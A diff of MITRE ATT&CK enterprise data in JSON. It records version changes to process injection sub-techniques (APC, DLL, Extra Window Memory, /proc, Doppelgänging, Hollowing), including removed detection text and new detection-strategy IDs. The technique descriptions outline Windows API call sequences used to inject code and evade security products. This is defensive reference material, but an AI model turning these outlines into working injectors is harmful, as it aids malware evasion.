+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Access\", \"Process: Process Modification\", \"File: File Modification\", \"Process: Process Metadata\", \"File: File Metadata\", \"Process: OS API Execution\", \"Module: Module Load\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:43.053000+00:00\", \"old_value\": \"2025-04-16 20:37:16.893000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) \\n\\nMonitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. \\n\\nMonitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) \\n\\nMonitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules.(Citation: Microsoft Sysmon v6 May 2017) \\n\\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \", \"diff\": \"--- \\n+++ \\n@@ -1,9 +0,0 @@\\n-Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) \\n-\\n-Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. \\n-\\n-Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) \\n-\\n-Monitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules.(Citation: Microsoft Sysmon v6 May 2017) \\n-\\n-Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \"}}}",
+ "previous_version": "1.4",
+ "changelog_mitigations": {
+ "shared": [
+ "M1026: Privileged Account Management",
+ "M1040: Behavior Prevention on Endpoint"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (OS API Execution)",
+ "DS0009: Process (Process Access)",
+ "DS0009: Process (Process Metadata)",
+ "DS0009: Process (Process Modification)",
+ "DS0011: Module (Module Load)",
+ "DS0022: File (File Metadata)",
+ "DS0022: File (File Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0508: Behavioral Detection of Process Injection Across Platforms"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-14 01:29:43.786000+00:00",
+ "modified": "2025-10-24 17:49:00.298000+00:00",
+ "name": "Asynchronous Procedure Call",
+ "description": "Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process. \n\nAPC injection is commonly performed by attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point QueueUserAPC can be used to invoke a function (such as LoadLibrayA pointing to a malicious DLL). \n\nA variation of APC injection, dubbed \"Early Bird injection\", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation: Microsoft Atom Table)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process. ",
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+ "phase_name": "defense-evasion"
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+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
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+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1055/004",
+ "external_id": "T1055.004"
+ },
+ {
+ "source_name": "Microsoft APC",
+ "description": "Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December 8, 2017.",
+ "url": "https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx"
+ },
+ {
+ "source_name": "CyberBit Early Bird Apr 2018",
+ "description": "Gavriel, H. & Erbesfeld, B. (2018, April 11). New \u2018Early Bird\u2019 Code Injection Technique Discovered. Retrieved May 24, 2018.",
+ "url": "https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/"
+ },
+ {
+ "source_name": "ENSIL AtomBombing Oct 2016",
+ "description": "Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE INJECTION FOR WINDOWS. Retrieved December 8, 2017.",
+ "url": "https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows"
+ },
+ {
+ "source_name": "Microsoft Atom Table",
+ "description": "Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017.",
+ "url": "https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx"
+ },
+ {
+ "source_name": "Elastic Process Injection July 2017",
+ "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
+ "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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+ "x_mitre_attack_spec_version": "3.2.0",
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+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
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+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "1.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Process: Process Access\", \"Process: Process Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:00.298000+00:00\", \"old_value\": \"2025-04-25 14:47:11.435000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\\n\\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\\n-\\n-Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \"}}}",
+ "previous_version": "1.2",
+ "changelog_mitigations": {
+ "shared": [
+ "M1040: Behavior Prevention on Endpoint"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (OS API Execution)",
+ "DS0009: Process (Process Access)",
+ "DS0009: Process (Process Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0100: Behavioral Detection of Asynchronous Procedure Call (APC) Injection via Remote Thread Queuing"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-14 01:26:08.145000+00:00",
+ "modified": "2025-10-24 17:49:36.680000+00:00",
+ "name": "Dynamic-link Library Injection",
+ "description": "Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process. \n\nDLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread (which calls the LoadLibrary API responsible for loading the DLL). (Citation: Elastic Process Injection July 2017) \n\nVariations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of LoadLibrary).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017) \n\nAnother variation of this method, often referred to as Module Stomping/Overloading or DLL Hollowing, may be leveraged to conceal injected code within a process. This method involves loading a legitimate DLL into a remote process then manually overwriting the module's AddressOfEntryPoint before starting a new thread in the target process.(Citation: Module Stomping for Shellcode Injection) This variation allows attackers to hide malicious injected code by potentially backing its execution with a legitimate DLL file on disk.(Citation: Hiding Malicious Code with Module Stomping) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process. ",
+ "kill_chain_phases": [
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ }
+ ],
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+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1055/001",
+ "external_id": "T1055.001"
+ },
+ {
+ "source_name": "Hiding Malicious Code with Module Stomping",
+ "description": "Aliz Hammond. (2019, August 15). Hiding Malicious Code with \"Module Stomping\": Part 1. Retrieved July 14, 2022.",
+ "url": "https://blog.f-secure.com/hiding-malicious-code-with-module-stomping/"
+ },
+ {
+ "source_name": "Elastic HuntingNMemory June 2017",
+ "description": "Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December 7, 2017.",
+ "url": "https://www.endgame.com/blog/technical-blog/hunting-memory"
+ },
+ {
+ "source_name": "Elastic Process Injection July 2017",
+ "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
+ "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
+ },
+ {
+ "source_name": "Module Stomping for Shellcode Injection",
+ "description": "Red Teaming Experiments. (n.d.). Module Stomping for Shellcode Injection. Retrieved July 14, 2022.",
+ "url": "https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Boominathan Sundaram"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
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+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
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+ "shared": [],
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+ "DET0389: Behavioral Detection of DLL Injection via Windows API"
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+ "type": "attack-pattern",
+ "id": "attack-pattern--0042a9f5-f053-4769-b3ef-9ad018dfa298",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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+ "modified": "2025-10-24 17:48:19.059000+00:00",
+ "name": "Extra Window Memory Injection",
+ "description": "Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process. \n\nBefore creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\u2019s EWM.\n\nExecution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. ",
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+ "description": "Microsoft. (n.d.). About Window Classes. Retrieved December 16, 2017.",
+ "url": "https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx"
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+ "description": "Microsoft. (n.d.). GetWindowLong function. Retrieved December 16, 2017.",
+ "url": "https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx"
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+ "source_name": "Microsoft SetWindowLong function",
+ "description": "Microsoft. (n.d.). SetWindowLong function. Retrieved December 16, 2017.",
+ "url": "https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx"
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+ "source_name": "Elastic Process Injection July 2017",
+ "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
+ "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
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+ "source_name": "MalwareTech Power Loader Aug 2013",
+ "description": "MalwareTech. (2013, August 13). PowerLoader Injection \u2013 Something truly amazing. Retrieved December 16, 2017.",
+ "url": "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html"
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+ "source_name": "WeLiveSecurity Gapz and Redyms Mar 2013",
+ "description": "Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.",
+ "url": "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/"
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+ "source_name": "Microsoft SendNotifyMessage function",
+ "description": "Microsoft. (n.d.). SendNotifyMessage function. Retrieved December 16, 2017.",
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+ "source_name": "Hexacorn Listplanting",
+ "description": "Hexacorn. (2019, April 25). Listplanting \u2013 yet another code injection trick. Retrieved August 14, 2024.",
+ "url": "https://www.hexacorn.com/blog/2019/04/25/listplanting-yet-another-code-injection-trick/"
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+ "source_name": "ESET InvisiMole June 2020",
+ "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.",
+ "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf"
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+ "source_name": "Microsoft List View Controls",
+ "description": "Microsoft. (2021, May 25). About List-View Controls. Retrieved January 4, 2022.",
+ "url": "https://docs.microsoft.com/windows/win32/controls/list-view-controls-overview"
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+ "source_name": "Modexp Windows Process Injection",
+ "description": "odzhan. (2019, April 25). Windows Process Injection: WordWarping, Hyphentension, AutoCourgette, Streamception, Oleum, ListPlanting, Treepoline. Retrieved November 15, 2021.",
+ "url": "https://modexp.wordpress.com/2019/04/25/seven-window-injection-methods/"
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+ "external_id": "T1055.002"
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+ "source_name": "Elastic Process Injection July 2017",
+ "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
+ "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
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+ "description": "Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process. \n\nProc memory injection involves enumerating the memory of a process via the /proc filesystem (/proc/[pid]) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions. Each running process has its own directory, which includes memory mappings. Proc memory injection is commonly performed by overwriting the target processes\u2019 stack using memory mappings provided by the /proc filesystem. This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR). Once enumerated, the target processes\u2019 memory map within /proc/[pid]/maps can be overwritten using dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injection)(Citation: DD Man) \n\nOther techniques such as [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) may be used to populate a target process with more available gadgets. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), proc memory injection may target child processes (such as a backgrounded copy of sleep).(Citation: GDS Linux Injection) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process. ",
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+ "external_id": "T1055.009"
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+ "source_name": "Uninformed Needle",
+ "description": "skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017.",
+ "url": "http://hick.org/code/skape/papers/needle.txt"
+ },
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+ "source_name": "GDS Linux Injection",
+ "description": "McNamara, R. (2017, September 5). Linux Based Inter-Process Code Injection Without Ptrace(2). Retrieved February 21, 2020.",
+ "url": "https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html"
+ },
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+ "source_name": "DD Man",
+ "description": "Kerrisk, M. (2020, February 2). DD(1) User Commands. Retrieved February 21, 2020.",
+ "url": "http://man7.org/linux/man-pages/man1/dd.1.html"
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+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:25.806000+00:00\", \"old_value\": \"2025-04-25 14:48:08.263000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"File system monitoring can determine if /proc files are being modified. Users should not have permission to modify these in most cases. \\n\\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-File system monitoring can determine if /proc files are being modified. Users should not have permission to modify these in most cases. \\n-\\n-Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \"}}}",
+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [
+ "M1022: Restrict File and Directory Permissions",
+ "M1040: Behavior Prevention on Endpoint"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0022: File (File Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0541: Detection Strategy for /proc Memory Injection on Linux"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--7007935a-a8a7-4c0b-bd98-4e85be8ed197",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-14 17:19:50.978000+00:00",
+ "modified": "2025-10-24 17:48:56.422000+00:00",
+ "name": "Process Doppelg\u00e4nging",
+ "description": "Adversaries may inject malicious code into process via process doppelg\u00e4nging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelg\u00e4nging is a method of executing arbitrary code in the address space of a separate live process. \n\nWindows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nAdversaries may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055). Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), process doppelg\u00e4nging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelg\u00e4nging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nProcess Doppelg\u00e4nging is implemented in 4 steps (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017):\n\n* Transact \u2013 Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load \u2013 Create a shared section of memory and load the malicious executable.\n* Rollback \u2013 Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate \u2013 Create a process from the tainted section of memory and initiate execution.\n\nThis behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelg\u00e4nging may evade detection from security products since the execution is masked under a legitimate process. ",
+ "kill_chain_phases": [
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1055/013",
+ "external_id": "T1055.013"
+ },
+ {
+ "source_name": "Microsoft TxF",
+ "description": "Microsoft. (n.d.). Transactional NTFS (TxF). Retrieved December 20, 2017.",
+ "url": "https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx"
+ },
+ {
+ "source_name": "Microsoft Basic TxF Concepts",
+ "description": "Microsoft. (n.d.). Basic TxF Concepts. Retrieved December 20, 2017.",
+ "url": "https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx"
+ },
+ {
+ "source_name": "Microsoft Where to use TxF",
+ "description": "Microsoft. (n.d.). When to Use Transactional NTFS. Retrieved December 20, 2017.",
+ "url": "https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx"
+ },
+ {
+ "source_name": "BlackHat Process Doppelg\u00e4nging Dec 2017",
+ "description": "Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction: Process Doppelg\u00e4nging. Retrieved December 20, 2017.",
+ "url": "https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf"
+ },
+ {
+ "source_name": "hasherezade Process Doppelg\u00e4nging Dec 2017",
+ "description": "hasherezade. (2017, December 18). Process Doppelg\u00e4nging \u2013 a new way to impersonate a process. Retrieved December 20, 2017.",
+ "url": "https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/"
+ },
+ {
+ "source_name": "Microsoft PsSetCreateProcessNotifyRoutine routine",
+ "description": "Microsoft. (n.d.). PsSetCreateProcessNotifyRoutine routine. Retrieved December 20, 2017.",
+ "url": "https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
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+ "x_mitre_version": "1.1",
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+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [
+ "M1040: Behavior Prevention on Endpoint"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (OS API Execution)",
+ "DS0022: File (File Metadata)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0544: Detection Strategy for Process Doppelg\u00e4nging on Windows"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-14 17:21:54.470000+00:00",
+ "modified": "2025-10-24 17:49:14.559000+00:00",
+ "name": "Process Hollowing",
+ "description": "Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process. \n\nProcess hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as CreateProcess, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as ZwUnmapViewOfSection or NtUnmapViewOfSection before being written to, realigned to the injected code, and resumed via VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Leitch Hollowing)(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Thread Local Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process. ",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1055/012",
+ "external_id": "T1055.012"
+ },
+ {
+ "source_name": "Nviso Spoof Command Line 2020",
+ "description": "Daman, R. (2020, February 4). The return of the spoof part 2: Command line spoofing. Retrieved November 19, 2021.",
+ "url": "https://blog.nviso.eu/2020/02/04/the-return-of-the-spoof-part-2-command-line-spoofing/"
+ },
+ {
+ "source_name": "Elastic Process Injection July 2017",
+ "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
+ "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
+ },
+ {
+ "source_name": "Leitch Hollowing",
+ "description": "Leitch, J. (n.d.). Process Hollowing. Retrieved September 12, 2024.",
+ "url": "https://new.dc414.org/wp-content/uploads/2011/01/Process-Hollowing.pdf"
+ },
+ {
+ "source_name": "Mandiant Endpoint Evading 2019",
+ "description": "Pena, E., Erikson, C. (2019, October 10). Staying Hidden on the Endpoint: Evading Detection with Shellcode. Retrieved November 29, 2021.",
+ "url": "https://www.mandiant.com/resources/staying-hidden-on-the-endpoint-evading-detection-with-shellcode"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "1.4",
